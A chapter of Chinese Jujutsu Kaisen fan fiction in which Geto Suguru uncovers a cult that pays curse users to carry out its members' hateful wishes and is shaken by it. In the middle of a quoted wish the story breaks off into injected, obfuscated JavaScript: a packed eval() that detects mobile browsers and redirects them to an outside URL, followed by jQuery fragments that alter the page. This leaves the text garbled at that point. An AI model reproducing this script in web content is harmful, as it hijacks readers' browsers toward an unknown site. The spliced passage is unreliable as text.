26.盘星教
作品:《想在本丸养老的我被迫拯救世界》 千岛玲和鹤丸国永跑到了平安京冒险,而五条悟则一个人窝在高专生闷气。
吃完了冰箱里最喜欢的毛豆生奶油大福,打完了游戏的各种支线,他无聊地躺在沙发上,手指滑动着手机的通讯录,对大家挨个骚扰。
硝子……她应该正在医务室补觉,被吵醒大概率会收到一个充满杀意的眼神。跳过。
伊地知洁高……肯定又在堆积如山的文件里挣扎,这种时候去烦他简直是欺负老实人。跳过。
夜蛾正道……还是算了吧,免得又被勒令去反省。跳过。
划着划着不自觉的又点开了玲的号码,他意识过来后又恶狠狠的关上手机。
玲从游乐园分开之后居然!一直!没和他联系!
五条悟越想越气。
瞒着他不知道在外面忙什么就算了。他好心好意、纡尊降贵约她出去散心,她倒好,莫名其妙逃跑不说,现在更是夜不归宿!手机没有一条消息,没有一个电话!她是不是把他彻底忘了?!
这下不管是什么原因他都不能原谅她这个坏女人了。
哪怕她现在拎着一盒他最喜欢的特制加倍毛豆生奶油大福哭着来道歉也不行!绝对不行!
他猛地从沙发上弹起来,甚至不小心撞倒了旁边的茶几,上面堆积的零食袋和游戏手柄噼里啪啦地摔了一地。
“行,你们一个个都忙着任务是吧?”五条悟咬牙切齿,“总监会不是也给我派了任务吗?我倒要看看有多忙!”
无人在意的角落里,诅咒师集团承担了五条悟的全部怒火。
短短两天时间,这位心情糟糕的最强就像一台失控的人形自走炮,以摧枯拉朽之势横扫了数个潜伏在市区周边的小型诅咒师集团。
那些平时隐藏极深、被悬赏多年却依然逍遥法外的诅咒师们,被他拎着后颈像猫一样活捉,然后随手丢给跟不上他速度的辅助监督。
总监会对于五条悟这样突然转了性子积极完成任务的行为喜闻乐见,他们像是找到了救星,赶紧将积攒多年、难度高到没人敢接、或者位置偏僻又棘手的任务一股脑儿地塞给他。
他们真心期待着神子大人可以多维持几天这样的状态。
但是,他们的快乐并没有持续太久,很快,新的烦恼就找上门了。
五条悟做任务,向来不喜欢让辅助监督跟在后面,嫌他们碍事。偏偏他自己一个人完成任务时,又总是完美地忘记了一件事——放下帐。
倒不是总监会担心五条悟的不小心弄坏了旁边的建筑。开玩笑,五条家的赔偿款总是比任何政府部门的拨款都来得快,来得痛快。
主要是这些诅咒师集团大多集中在市区附近,好好的建筑莫名其妙的就塌了,政府总得给个合理的解释吧。
于是,这两天的新闻头条变成了:
【速报!杉并区发生大规模燃气爆炸!】
【新宿再次发生离奇燃气泄漏事故,多栋建筑受损!】
【世田谷区发生连环燃气爆炸案,警方怀疑恐怖袭击!】
再这样下去,东京燃气公司恐怕真的会因为‘安全生产存在重大隐患’而面临破产危机。
留给五条悟背锅的企业已经不多了。
偏偏他好像上瘾了一样,非要继续这样“高效”地完成任务。
总监会愁白了头,左思右想。
愿意、也有能力劝五条悟,或者至少能跟在他屁股后面收拾烂摊子,阻止他继续制造“燃气爆炸”的,放眼整个咒术界,也就只有那么一个人了。
于是,一纸紧急调令,将刚被派出去执行某个高难度任务的夏油杰火速召回。
任务内容只有一个:看着点五条悟。
夏油杰也不愧是东京咒术高专最勤勤恳恳干活的人/五条悟无可替代的好麻吉/正论的坚决维护者/从不让总监会失望的特级咒术师。
虽然刚结束一个任务就又被抓差,他心中也忍不住叹气,但还是二话不说,任劳任怨地跟在了五条悟这台人形自走炮后面,默默地给五条悟放下帐。
或者在实在来不及的时候给惊慌失措的民众解释“地面突然塌陷”是施工意外,挽救处于水深火热之中的东京燃气公司。
-
又一次任务中,五条悟又想像之前那样一发苍解决所有问题。
“喂,悟,等等。”身后伸来一只手,稳稳地拉住了他。“这里除了两个诅咒师其他看起来全是普通人。你别用术式。”
五条悟烦躁的撸了一把头发,这些普通人怎么和诅咒师混到一起去了。
本来就一肚子气,想着能好好发泄一下,结果还得束手束脚,顾忌着这些碍事的家伙。
啧,真麻烦,还是推给杰吧。
“那你去吧。反正就两个杂鱼,我先回去了。”
话音未落,人影一闪,只留下一阵带着甜味的气息。夏油杰无奈地叹了口气,看着五条悟瞬间消失在视野里,他就知道会发展成这样。
不过也好,反正就两个咒力微弱的家伙,对他而言,确实不过是抬手就能解决的程度。与其让悟在这里闹腾,不如自己来处理。
夏油杰三两下捉住了两个诅咒师,不说悟了,他也很好奇,为什么这个全是普通人的宗教团体要去勾搭两个诅咒师。
“说说吧,你们为什么要和普通人混在一起?”夏油杰坐在教主的座位上,他看着下方,那两个被打得鼻青脸肿,连原本的面貌都快看不出来的诅咒师,此刻正像两只被抓住的虫子一样,蜷缩在地上,满脸惊恐,嘴里发出含糊不清的呜咽。
房间里弥漫着一股廉价香水和腐败的甜腻味,令人作呕。
“哦,我忘了,你们现在说不出话了,那我就直接把你们送去总监会了。”
听到“总监会”这三个字,原本还只是呜咽的诅咒师之一,仿佛触电般猛地一个激灵。他顾不得身上的疼痛,连滚带爬地扑到夏油杰的脚边,顾不得形象,语无伦次、含糊不清地开始交代一切。
原来,他们只是收了这个宗教团体的钱,定期帮忙解决一些“烦恼”的小问题。
他们用的手段,也不过是驱动一些低级诅咒。对于他们来说,这只是一笔不错的买卖,至于那些“烦恼”背后是什么,他们既不关心,也不想知道。
他们只是解决问题的手段比较简单粗暴而已。
夏油杰挥手让辅助监督带走两个诅咒师,根据他们的供述独自走进据点深处的一间密室。
墙上挂满了信徒的“祈愿书”。
他随手拿起一张,纸张有些泛黄,上面的字迹或工整或潦草。内容却无一例外地充斥着令人作呕的恶意:
【请教主大人显灵,让山田那个老不死的竞争对手早点消失吧!】
【求
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473687|169766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
求您,让那个背叛我的贱人尝尝生不如死的滋味!】
【希望能把隔壁那个总是吵闹的邻居一家“清理”掉……】
这些是普通人写下的愿望吗?夏油杰没想到大家在拼命保护的普通人居然主动与诅咒师为伍,视人命如草芥。
他们明知道自己的念头是多么丑恶、多么充满戾气,却因为看到其他人的“心愿”似乎得到了实现,就更加虔诚地供奉,希望能借助这种肮脏的力量来达成自己的私欲。
这种愚昧和恶意结合的姿态,比最丑陋的诅咒还要令人作呕。
就在这时,他的目光被案台一侧的一个整齐的纸堆吸引了。与墙上杂乱无章的“祈愿书”不同,这一摞纸被牛皮纸绳捆绑着,摆放得整整齐齐。
最上面的一张纸上,用粗劣的红色墨水写着几个大字——“愿望达成”。
他带着一种不祥的预感,伸手解开了绳子,拿起了最上面的一份。
这也是一份“祈愿书”,内容和墙上的那些大同小异。
然而,这份祈愿书下方,却用订书机额外订着一张小小的、洗得有些模糊的照片。
照片上,是某个店铺的招牌,上面挂着“閉店清倉”的字样,卷帘门拉下一半,看起来萧条又落魄。背景似乎还有消防车和拉起的警戒线。
他颤抖着手,翻开了下一份。这是关于报复背叛恋人的愿望,旁边附着的照片,是一个年轻女子哭泣着、脸上带着明显的伤痕。
再下一份,祈求的是让某个碍事的人消失。附着的照片,是一张报纸的剪报,上面报道了一起看似普通的“意外事故”,某个人的死亡消息被轻描淡写地记录着。
一种比面对特级诅咒更加森冷的寒意,沿着他的脊椎攀升而上。这些照片,这些记录着“实现”的愿望,无声地证明着那些挂在墙上的恶意,并非仅仅是空穴来风的念头。
它们被这个邪教组织收集,然后通过与诅咒师的勾结,变成了现实。这些看似普通的照片,在这一刻,比任何血腥的场面都要触目惊心。
他的脑海里突兀地闪现出灰原雄那张总是带着阳光笑容的脸。那个总是积极向上、努力工作、真心相信他说的“强者就是要保护弱者”的后辈。
他那么年轻,那么善良,却因为一次任务,因为要保护某个地方的普通人,而牺牲了生命。
而那些他拼死保护的人,正在用他憎恶的力量,满足他们丑陋的私欲。
夏油杰曾为他的死亡感到愤怒、悲伤,以及对咒术界体制的无奈。但此刻,结合眼前的景象,灰原雄的死,突然变得如此荒诞,如此令人难以承受。
他所牺牲的对象……竟然是这样一群人?他所保护的理念……竟然如此脆弱不堪?
痛苦如同潮水般猛地袭来,想要呕吐的感觉比任何一次吞咽咒灵球时的恶心感都要强烈百倍。
“呃……”
喉咙里发出不受控制的声音。
夏油杰猛地扣住了自己的喉咙,指甲几乎要陷入皮肤。胃部剧烈地收缩,一股强烈的、令人作呕的感觉直冲口腔。
他弯下腰,开始痛苦地干呕,却什么也吐不出来,只有苦涩的胆汁和生理性的泪水涌了出来。
夏油杰跪在地上,剧烈地喘息着,喉咙深处依然残留着那种令人发狂的恶心味道。
心里感受到前所未有的幻灭和绝望。